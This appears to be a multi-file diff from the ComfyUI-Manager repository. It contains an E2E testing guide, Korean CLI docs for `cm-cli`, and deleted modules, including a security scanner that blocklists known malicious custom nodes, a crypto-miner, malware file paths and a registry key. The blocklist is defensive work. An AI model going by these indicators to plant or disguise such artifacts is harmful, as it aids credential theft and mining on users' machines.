+Use the venv's interpreter explicitly (`$E2E_ROOT/venv/bin/python`) — not
+the system `python` — so the test runs against the editable install from
+§3.1.
+
+---
+
+## 5. Test Design Patterns
+
+Distilled from the sweep. Match the pattern to your contract; do not
+invent new patterns without recording them in
+`.claude/scaffold/e2e-methods.yml`.
+
+### 5.1 Positive-path
+
+Status 200 + response schema + side-effect verification. Do not stop at
+status 200 — assert at least one schema field AND one observable side
+effect (disk artifact, queue entry, config change).
+
+### 5.2 Negative-path
+
+Status 400 / 403 / 405 + body message substring. CSRF-reject tests live
+in `test_e2e_csrf*.py` and are parametrized over the full endpoint list.
+
+### 5.3 Async queue polling
+
+Install / update endpoints enqueue work and return immediately. Poll
+`/v2/manager/queue/status` or the expected disk artifact until completion.
+Never `time.sleep()` with a hard-coded interval — use `expect.poll` (TS)
+or a polling helper with a timeout.
+
+### 5.4 Teardown mandatory for mutation tests
+
+Install / save / apply tests MUST restore the original state. Use
+`try/finally` or a pytest fixture. A failing test that leaves a modified
+config.ini or an installed custom_node poisons every subsequent test in
+the suite.
+
+### 5.5 `@pytest.mark.xfail` for known bugs
+
+When a test documents a bug that is not yet fixed, mark it
+`@pytest.mark.xfail(reason=...)`. When the fix lands, flip to `xfail(strict=True)`
+or remove the mark and include the fix commit hash in the removal commit
+message (see `test_reinstall_with_uv_compile` / commit `ddccefbc` for the
+pattern).
+
+### 5.6 Playwright selector stability
+
+Prefer title attribute — e.g. `select[title^="Configure the channel"]` —
+over class selectors (shared across multiple combos). Label-based
+(`:has(span.text-muted:text-is("Channel"))`) is second-best. Class-only
+is brittle. See `reports/legacy-ui-channel-combo-dom-mapping.md` for the
+channel-combo case study.
+
+### 5.7 Playwright 2-hop mock
+
+For fail-state UI scenarios: mock GET (inject a fake pack that puts the UI
+into the failure state) + intercept POST (capture the payload the failure
+handler fires). (The prior `legacy-ui-mock-install.spec.ts::wi-015`
+exemplar was superseded by a real-E2E pre-seeded broken-pack test in
+`tests/e2e/test_e2e_legacy_real_ops.py::TestImportFailInfoReal` — use
+this technique only when real backend reproduction is infeasible.)
+
+### 5.8 Playwright `page.request.post` fallback
+
+For structurally unreachable UI triggers — e.g. the idle-state
+`queue/reset` Stop button is `display: none` — use the browser-context
+HTTP client to bypass the UI. Document the reason in the spec comment so
+future readers don't "fix" it by forcing a click.
+
+---
+
+## 6. Security Gate Matrix
+
+`comfyui_manager/glob/utils/security_utils.py:20-26` gates endpoints by
+risk level. The default `security_level=normal` allows middle+ but
+rejects high+ with 403.
+
+| Gate | Local only? | security_level must be in |
+|------|:---:|---------------------------|
+| `middle+` | optional | `{WEAK, NORMAL, NORMAL_}` (default allows) |
+| `high+` | required | `{WEAK, NORMAL_}` (default `NORMAL` ⇒ 403) |
+
+**high+ endpoints** (`comfyui_switch_version`, `install/git_url`,
+`install/pip`, install_model with non-safetensors, etc.) require
+`start_comfyui_permissive.sh` to be tested positively. That harness
+backs up `config.ini`, patches `security_level = normal-`, sets
+`ENABLE_LEGACY_UI=1`, and the pytest fixture restores the config on
+teardown. Use hardcoded trusted inputs only (never user-derived) — the
+default-security `403` contract is the positive-path security behavior
+we want to preserve in production. The counterpart
+`start_comfyui_strict.sh` harness (`security_level = strong`) is used to
+exercise the 403 negative path for `middle` / `middle+` gates. See the
+WI-YY infeasibility log for which high+ endpoints still need harness
+work.
+
+**Honesty boundary for mock-based closures**: rows in
+`reports/api-coverage-matrix.md` marked `Y (WI-WW-mock)` assert UI→API
+wiring only — URL + method + payload shape. They do NOT assert backend
+handler behavior; that is pytest's job. A regression that kept the UI
+firing correctly but broke the backend would not be caught by the mock
+test alone. Document the boundary in the spec comment.
+
+---
+
+## 7. Audit & Coverage Artifacts
+
+Tracked reports under `reports/`. Update these when you add or retire
+tests.
+
+| Artifact | Purpose | Maintenance |
+|----------|---------|-------------|
+| `reports/e2e_verification_audit.md` | Per-test verdict matrix (✅ PASS / ⚠️ WEAK / ❌ INADEQUATE / N/A) with Summary table, per-file sections, TOTAL counts | Any new or retired test → update both the per-file section and Summary; then run `scripts/verify_audit_counts.py` |
+| `reports/api-coverage-matrix.md` | 39-endpoint × pytest + Playwright matrix | Update when a new endpoint is added or a coverage cell flips |
+| `reports/test-bloat-inventory.md` | 10-code bloat sweep (B1-BA), 127-test baseline | Run `/pair-sweep test bloat identification` for a re-baseline when churn exceeds 10 tests |
+
+**Verification script**: `scripts/verify_audit_counts.py` parses
+`e2e_verification_audit.md` and validates that the Summary row counts
+match the per-file section counts and the TOTAL line. It MUST exit 0
+before a doc-sync WI completes.
+
+---
+
+## 8. Test Bloat Checklist (B1-BA)
+
+Use these codes when reviewing new tests. Sources:
+`reports/test-bloat-inventory.md` + the sweep methodology in
+`.claude/pair-working/sessions/sweep-endpoint-coverage/scratch/goal-report-bloat-sweep.md`.
+
+| Code | Type | Criterion |
+|------|------|-----------|
+| **B1** Redundant | Duplicate assertion | Same assertion or contract already covered by another test |
+| **B2** Over-parametrized | Boundary noise | Cases beyond boundary + equivalence class contribute zero |
+| **B3** Mixed-concerns | Multi-concern | One test mixes 3+ unrelated assertions |
+| **B4** Dead | Non-existent feature | Validates a removed / non-existent endpoint or API |
+| **B5** Smoke-only | Superficial | Only checks status 200 + dict type, no substantive validation |
+| **B6** Setup-heavy | Over-fixtured | 50+ lines of setup/teardown vs few assertions |
+| **B7** Stale-skip | Obsolete skip | `pytest.skip` reason no longer valid |
+| **B8** Title-mismatch | Misleading name | Function name does not match what it actually validates |
+| **B9** Copy-paste | DRY violation | ≥80% duplication with another test; helper/parametrization possible |
+| **BA** Impl-detail | Implementation-coupled | Validates internal implementation, not contract |
+
+**Triage priority**: B4 ⇒ remove. B1/B9 ⇒ parametrize or remove the
+duplicate. B8 ⇒ rename or refactor the assertion. B5/BA ⇒ strengthen or
+remove. B6/B7 ⇒ clean up. B2/B3 ⇒ case-by-case.
+
+---
+
+## 9. Running Tests
+
+### 9.1 pytest E2E — glob manager
+
+```bash
+pytest tests/e2e/ -v --timeout=300
+```
+
+### 9.2 pytest E2E — legacy-only endpoints
+
+```bash
+pytest tests/e2e/test_e2e_legacy_endpoints.py tests/e2e/test_e2e_csrf_legacy.py -v
+```
+
+### 9.3 Playwright (legacy UI)
+
+```bash
+PORT=8199 npx playwright test tests/playwright/
+```
+
+### 9.4 CLI subprocess
+
+```bash
+pytest tests/cli/ -v
+```
+
+### 9.5 Audit verification
+
+```bash
+python3 scripts/verify_audit_counts.py
+```
+
+Exits 0 when `reports/e2e_verification_audit.md` is internally consistent
+(Summary ↔ per-file ↔ TOTAL). Exit non-zero → drift between sections.
+
+### 9.6 Full suite (reference invocation)
+
+```bash
+# pytest all, with explicit venv
+E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest tests/e2e/ -v --timeout=300
+
+# Playwright, legacy UI mode
+PORT=8199 npx playwright test tests/playwright/
+
+# Audit verification
+python3 scripts/verify_audit_counts.py
+```
+
+---
+
+## Appendix — Companion Files
+
+- `.claude/scaffold/e2e-methods.yml` — living registry of the test
+  patterns described in §5 plus the bloat codes from §8. Append entries
+  when you establish a new pattern.
+- `reports/e2e_verification_audit.md` — per-test verdict matrix.
+- `reports/api-coverage-matrix.md` — endpoint × coverage matrix.
+- `reports/test-bloat-inventory.md` — 127-test sweep baseline.
+- `reports/legacy-ui-channel-combo-dom-mapping.md` — DOM selector case
+  study for the Channel combo.

docs/ko/cm-cli.md

@@ -7,41 +7,40 @@
 -= ComfyUI-Manager CLI (V2.24) =-
 
 
-python cm-cli.py [OPTIONS]
+cm-cli [OPTIONS]
 
 OPTIONS:
     [install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
+    [install|reinstall|update|fix] node_name ... ?[--uv-compile]
     [update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
+    [update|fix] all ?[--uv-compile]
     [simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
     save-snapshot ?[--output <snapshot .json/.yaml>]
-    restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
-    cli-only-mode [enable|disable]
-    restore-dependencies
+    restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
+    restore-dependencies ?[--uv-compile]
+    install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
+    uv-compile
     clear
 ```
 
 ## How To Use?
-* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
+* `cm-cli` 명령으로 실행할 수 있습니다.
 * 예를 들어 custom node를 모두 업데이트 하고 싶다면
-    * ComfyUI-Manager경로 에서 `python cm-cli.py update all` 를 command를 실행할 수 있습니다.
-    * ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
+    * `cm-cli update all` 명령을 실행할 수 있습니다.
 
 ## Prerequisite
 * ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
     * venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
-    * portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 코맨드를 실행해야 합니다.
-        `.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
-* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
-        ```
-        WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
-        ```
+* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
+        `.\python_embeded\python.exe -m cm_cli update all`
+* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
 
 ## Features
 
 ### 1. --channel, --mode
 * 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
-* 예들 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 command를 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
-* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` command에서만 사용 가능합니다.
+* 예를 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
+* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
 
 ### 2. 관리 정보 보기
 
@@ -51,7 +50,7 @@ OPTIONS:
 * `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
 
 
-`python cm-cli.py show installed` 와 같은 코맨드를 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
+`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
 ```
 -= ComfyUI-Manager CLI (V2.24) =-
 
@@ -67,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
 [    DISABLED   ]  ComfyUI-Loopchain                                 (author: Fannovel16)
 ```
 
-`python cm-cli.py simple-show installed` 와 같은 코맨드를 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
+`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
 
 ```
 -= ComfyUI-Manager CLI (V2.24) =-
@@ -89,16 +88,16 @@ ComfyUI-Loopchain
     * `installed`: enable, disable 여부와 상관없이 설치된 모든 노드를 보여줍니다
     * `not-installed`: 설치되지 않은 커스텀 노드의 목록을 보여줍니다.
     * `all`: 모든 커스텀 노드의 목록을 보여줍니다.
-    * `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show`롤 통해서 볼 경우는 json 출력 형태로  보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
+    * `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show`를 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
     * `snapshot-list`: ComfyUI-Manager/snapshots 에 저장된 snapshot 파일의 목록을 보여줍니다.
 
 ### 3. 커스텀 노드 관리 하기
 
 `[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
 
-* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
+* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
 * 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다. 
-(추후 nickname 을 사용가능하돌고 업데이트 할 예정입니다.)
+(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
 
 `[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
 
@@ -113,37 +112,63 @@ ComfyUI-Loopchain
     * `enable`: 지정된 커스텀 노드들을 활성화합니다.
     * `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
 
+#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
+
+`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
+
+* `uv`가 설치된 환경에서만 동작합니다.
+* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
+* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
+* `reinstall --uv-compile`은 `--no-deps`와 동시에 사용할 수 없습니다.
+
+```bash
+cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
+cm-cli update all --uv-compile
+cm-cli fix ComfyUI-Impact-Pack --uv-compile
+```
+
 
 ### 4. 스냅샷 관리 기능
-* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
+* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
   * --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
-* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
+* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
   * snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
   * snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
   * `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
   * `--pip-non-local-url`: web URL에 등록된 pip 패키지들에 대해서 복구를 수행
   * `--pip-local-url`: local 경로를 지정하고 있는 pip 패키지들에 대해서 복구를 수행 
+  * `--user-directory`: 사용자 디렉토리 설정
+  * `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
 
+### 5. 의존성 설치
 
-### 5. CLI only mode
-
-ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
-
-`cli-only-mode [enable|disable]`
-
-* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
-    * CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화 되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
-
-
-### 6. 의존성 설치
-
-`restore-dependencies`
+`restore-dependencies ?[--uv-compile]`
 
 * `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
-* colab 과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행 되어야 하는 경우 사용합니다.
-* ComfyUI을 재설치할 경우, custom_nodes 경로만 백업했다가 재설치 할 경우 활용 가능합니다.
+* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
+* ComfyUI를 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
+* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
 
+### 6. 의존성 파일로 설치
 
-### 7. clear
+`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
 
-GUI에서 install, update를 하거나 snapshot 을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
+* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
+* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
+
+### 7. uv-compile
+
+`uv-compile ?[--user-directory <path>]`
+
+* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
+* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
+* `uv`가 설치된 환경에서만 동작합니다.
+
+```bash
+cm-cli uv-compile
+cm-cli uv-compile --user-directory /path/to/comfyui
+```
+
+### 8. clear
+
+GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.

glob/manager_downloader.py

@@ -1,70 +0,0 @@
-import os
-from urllib.parse import urlparse
-
-aria2 = os.getenv('COMFYUI_MANAGER_ARIA2_SERVER')
-HF_ENDPOINT = os.getenv('HF_ENDPOINT')
-
-if aria2 is not None:
-    secret = os.getenv('COMFYUI_MANAGER_ARIA2_SECRET')
-    url = urlparse(aria2)
-    port = url.port
-    host = url.scheme + '://' + url.hostname
-    import aria2p
-
-    aria2 = aria2p.API(aria2p.Client(host=host, port=port, secret=secret))
-
-
-def download_url(model_url: str, model_dir: str, filename: str):
-    if aria2:
-        return aria2_download_url(model_url, model_dir, filename)
-    else:
-        from torchvision.datasets.utils import download_url as torchvision_download_url
-
-        return torchvision_download_url(model_url, model_dir, filename)
-
-
-def aria2_find_task(dir: str, filename: str):
-    target = os.path.join(dir, filename)
-
-    downloads = aria2.get_downloads()
-
-    for download in downloads:
-        for file in download.files:
-            if file.is_metadata:
-                continue
-            if str(file.path) == target:
-                return download
-
-
-def aria2_download_url(model_url: str, model_dir: str, filename: str):
-    import manager_core as core
-    import tqdm
-    import time
-
-    if model_dir.startswith(core.comfy_path):
-        model_dir = model_dir[len(core.comfy_path) :]
-
-    if HF_ENDPOINT:
-        model_url = model_url.replace('https://huggingface.co', HF_ENDPOINT)
-
-    download_dir = model_dir if model_dir.startswith('/') else os.path.join('/models', model_dir)
-
-    download = aria2_find_task(download_dir, filename)
-    if download is None:
-        options = {'dir': download_dir, 'out': filename}
-        download = aria2.add(model_url, options)[0]
-
-    if download.is_active:
-        with tqdm.tqdm(
-            total=download.total_length,
-            bar_format='{l_bar}{bar}{r_bar}',
-            desc=filename,
-            unit='B',
-            unit_scale=True,
-        ) as progress_bar:
-            while download.is_active:
-                if progress_bar.total == 0 and download.total_length != 0:
-                    progress_bar.reset(download.total_length)
-                progress_bar.update(download.completed_length - progress_bar.n)
-                time.sleep(1)
-                download.update()

glob/manager_util.py

@@ -1,214 +0,0 @@
-import subprocess
-import sys
-
-# DON'T USE StrictVersion - cannot handle pre_release version
-# try:
-#     from distutils.version import StrictVersion
-# except:
-#     print(f"[ComfyUI-Manager]  'distutils' package not found. Activating fallback mode for compatibility.")
-class StrictVersion:
-    def __init__(self, version_string):
-        self.version_string = version_string
-        self.major = 0
-        self.minor = 0
-        self.patch = 0
-        self.pre_release = None
-        self.parse_version_string()
-
-    def parse_version_string(self):
-        parts = self.version_string.split('.')
-        if not parts:
-            raise ValueError("Version string must not be empty")
-
-        self.major = int(parts[0])
-        self.minor = int(parts[1]) if len(parts) > 1 else 0
-        self.patch = int(parts[2]) if len(parts) > 2 else 0
-
-        # Handling pre-release versions if present
-        if len(parts) > 3:
-            self.pre_release = parts[3]
-
-    def __str__(self):
-        version = f"{self.major}.{self.minor}.{self.patch}"
-        if self.pre_release:
-            version += f"-{self.pre_release}"
-        return version
-
-    def __eq__(self, other):
-        return (self.major, self.minor, self.patch, self.pre_release) == \
-            (other.major, other.minor, other.patch, other.pre_release)
-
-    def __lt__(self, other):
-        if (self.major, self.minor, self.patch) == (other.major, other.minor, other.patch):
-            return self.pre_release_compare(self.pre_release, other.pre_release) < 0
-        return (self.major, self.minor, self.patch) < (other.major, other.minor, other.patch)
-
-    @staticmethod
-    def pre_release_compare(pre1, pre2):
-        if pre1 == pre2:
-            return 0
-        if pre1 is None:
-            return 1
-        if pre2 is None:
-            return -1
-        return -1 if pre1 < pre2 else 1
-
-    def __le__(self, other):
-        return self == other or self < other
-
-    def __gt__(self, other):
-        return not self <= other
-
-    def __ge__(self, other):
-        return not self < other
-
-    def __ne__(self, other):
-        return not self == other
-
-
-pip_map = None
-
-def get_installed_packages(renew=False):
-    global pip_map
-
-    if renew or pip_map is None:
-        try:
-            result = subprocess.check_output([sys.executable, '-m', 'pip', 'list'], universal_newlines=True)
-
-            pip_map = {}
-            for line in result.split('\n'):
-                x = line.strip()
-                if x:
-                    y = line.split()
-                    if y[0] == 'Package' or y[0].startswith('-'):
-                        continue
-
-                    pip_map[y[0]] = y[1]
-        except subprocess.CalledProcessError as e:
-            print(f"[ComfyUI-Manager] Failed to retrieve the information of installed pip packages.")
-            return set()
-
-    return pip_map
-
-
-def clear_pip_cache():
-    global pip_map
-    pip_map = None
-
-
-torch_torchvision_version_map = {
-    '2.5.1': '0.20.1',
-    '2.5.0': '0.20.0',
-    '2.4.1': '0.19.1',
-    '2.4.0': '0.19.0',
-    '2.3.1': '0.18.1',
-    '2.3.0': '0.18.0',
-    '2.2.2': '0.17.2',
-    '2.2.1': '0.17.1',
-    '2.2.0': '0.17.0',
-    '2.1.2': '0.16.2',
-    '2.1.1': '0.16.1',
-    '2.1.0': '0.16.0',
-    '2.0.1': '0.15.2',
-    '2.0.0': '0.15.1',
-}
-
-
-class PIPFixer:
-    def __init__(self, prev_pip_versions):
-        self.prev_pip_versions = { **prev_pip_versions }
-
-    def torch_rollback(self):
-        spec = self.prev_pip_versions['torch'].split('+')
-        if len(spec) > 0:
-            platform = spec[1]
-        else:
-            cmd = [sys.executable, '-m', 'pip', 'install', '--force', 'torch', 'torchvision', 'torchaudio']
-            subprocess.check_output(cmd, universal_newlines=True)
-            print(cmd)
-            return
-
-        torch_ver = StrictVersion(spec[0])
-        torch_ver = f"{torch_ver.major}.{torch_ver.minor}.{torch_ver.patch}"
-        torchvision_ver = torch_torchvision_version_map.get(torch_ver)
-
-        if torchvision_ver is None:
-            cmd = [sys.executable, '-m', 'pip', 'install', '--pre',
-                   'torch', 'torchvision', 'torchaudio',
-                   '--index-url', f"https://download.pytorch.org/whl/nightly/{platform}"]
-            print("[manager-core] restore PyTorch to nightly version")
-        else:
-            cmd = [sys.executable, '-m', 'pip', 'install',
-                   f'torch=={torch_ver}', f'torchvision=={torchvision_ver}', f"torchaudio=={torch_ver}",
-                   '--index-url', f"https://download.pytorch.org/whl/{platform}"]
-            print(f"[manager-core] restore PyTorch to {torch_ver}+{platform}")
-
-        subprocess.check_output(cmd, universal_newlines=True)
-
-    def fix_broken(self):
-        new_pip_versions = get_installed_packages(True)
-
-        # remove `comfy` python package
-        try:
-            if 'comfy' in new_pip_versions:
-                cmd = [sys.executable, '-m', 'pip', 'uninstall', 'comfy']
-                subprocess.check_output(cmd, universal_newlines=True)
-
-                print(f"[manager-core] 'comfy' python package is uninstalled.\nWARN: The 'comfy' package is completely unrelated to ComfyUI and should never be installed as it causes conflicts with ComfyUI.")
-        except Exception as e:
-            print(f"[manager-core] Failed to uninstall `comfy` python package")
-            print(e)
-
-        # fix torch - reinstall torch packages if version is changed
-        try:
-            if self.prev_pip_versions['torch'] != new_pip_versions['torch'] \
-                or self.prev_pip_versions['torchvision'] != new_pip_versions['torchvision'] \
-                or self.prev_pip_versions['torchaudio'] != new_pip_versions['torchaudio']:
-                    self.torch_rollback()
-        except Exception as e:
-            print(f"[manager-core] Failed to restore PyTorch")
-            print(e)
-
-        # fix opencv
-        try:
-            ocp = new_pip_versions.get('opencv-contrib-python')
-            ocph = new_pip_versions.get('opencv-contrib-python-headless')
-            op = new_pip_versions.get('opencv-python')
-            oph = new_pip_versions.get('opencv-python-headless')
-
-            versions = [ocp, ocph, op, oph]
-            versions = [StrictVersion(x) for x in versions if x is not None]
-            versions.sort(reverse=True)
-
-            if len(versions) > 0:
-                # upgrade to maximum version
-                targets = []
-                cur = versions[0]
-                if ocp is not None and StrictVersion(ocp) != cur:
-                    targets.append('opencv-contrib-python')
-                if ocph is not None and StrictVersion(ocph) != cur:
-                    targets.append('opencv-contrib-python-headless')
-                if op is not None and StrictVersion(op) != cur:
-                    targets.append('opencv-python')
-                if oph is not None and StrictVersion(oph) != cur:
-                    targets.append('opencv-python-headless')
-
-                if len(targets) > 0:
-                    for x in targets:
-                        cmd = [sys.executable, '-m', 'pip', 'install', f"{x}=={versions[0].version_string}"]
-                        subprocess.check_output(cmd, universal_newlines=True)
-
-                    print(f"[manager-core] 'opencv' dependencies were fixed: {targets}")
-        except Exception as e:
-            print(f"[manager-core] Failed to restore opencv")
-            print(e)
-
-        # fix numpy
-        try:
-            np = new_pip_versions.get('numpy')
-            if np is not None:
-                if StrictVersion(np) >= StrictVersion('2'):
-                    subprocess.check_output([sys.executable, '-m', 'pip', 'install', f"numpy<2"], universal_newlines=True)
-        except Exception as e:
-            print(f"[manager-core] Failed to restore numpy")
-            print(e)

glob/security_check.py

@@ -1,92 +0,0 @@
-import sys
-import subprocess
-import os
-
-
-def security_check():
-    print("[START] Security scan")
-
-    custom_nodes_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
-    comfyui_path = os.path.abspath(os.path.join(custom_nodes_path, '..'))
-
-    guide = {
-        "ComfyUI_LLMVISION": """
-0.Remove ComfyUI\\custom_nodes\\ComfyUI_LLMVISION.
-1.Remove pip packages: openai-1.16.3.dist-info, anthropic-0.21.4.dist-info, openai-1.30.2.dist-info, anthropic-0.21.5.dist-info, anthropic-0.26.1.dist-info, %LocalAppData%\\rundll64.exe
-  (For portable versions, it is recommended to reinstall. If you are using a venv, it is advised to recreate the venv.)
-2.Remove these files in your system: lib/browser/admin.py, Cadmino.py, Fadmino.py, VISION-D.exe, BeamNG.UI.exe
-3.Check your Windows registry for the key listed above and remove it.
-  (HKEY_CURRENT_USER\\Software\\OpenAICLI)
-4.Run a malware scanner.
-5.Change all of your passwords, everywhere.
-
-(Reinstall OS is recommended.)
-\n
-Detailed information: https://old.reddit.com/r/comfyui/comments/1dbls5n/psa_if_youve_used_the_comfyui_llmvision_node_from/
-    """,
-        "lolMiner": """
-1. Remove pip packages: lolMiner*
-2. Remove files: lolMiner*, 4G_Ethash_Linux_Readme.txt, mine* in ComfyUI dir.
-
-(Reinstall ComfyUI is recommended.)
-    """
-             }
-
-    node_blacklist = {"ComfyUI_LLMVISION": "ComfyUI_LLMVISION"}
-
-    pip_blacklist = {"AppleBotzz": "ComfyUI_LLMVISION"}
-
-    file_blacklist = {
-        "ComfyUI_LLMVISION": ["%LocalAppData%\\rundll64.exe"],
-        "lolMiner": [os.path.join(comfyui_path, 'lolMiner')]
-    }
-
-    installed_pips = subprocess.check_output([sys.executable, '-m', "pip", "freeze"], text=True)
-
-    detected = set()
-    try:
-        anthropic_info = subprocess.check_output([sys.executable, '-m', "pip", "show", "anthropic"], text=True, stderr=subprocess.DEVNULL)
-        anthropic_reqs = [x for x in anthropic_info.split('\n') if x.startswith("Requires")][0].split(': ')[1]
-        if "pycrypto" in anthropic_reqs:
-            location = [x for x in anthropic_info.split('\n') if x.startswith("Location")][0].split(': ')[1]
-            for fi in os.listdir(location):
-                if fi.startswith("anthropic"):
-                    guide["ComfyUI_LLMVISION"] = f"\n0.Remove {os.path.join(location, fi)}" + guide["ComfyUI_LLMVISION"]
-                    detected.add("ComfyUI_LLMVISION")
-    except subprocess.CalledProcessError:
-        pass
-
-    for k, v in node_blacklist.items():
-        if os.path.exists(os.path.join(custom_nodes_path, k)):
-            print(f"[SECURITY ALERT] custom node '{k}' is dangerous.")
-            detected.add(v)
-
-    for k, v in pip_blacklist.items():
-        if k in installed_pips:
-            detected.add(v)
-            break
-
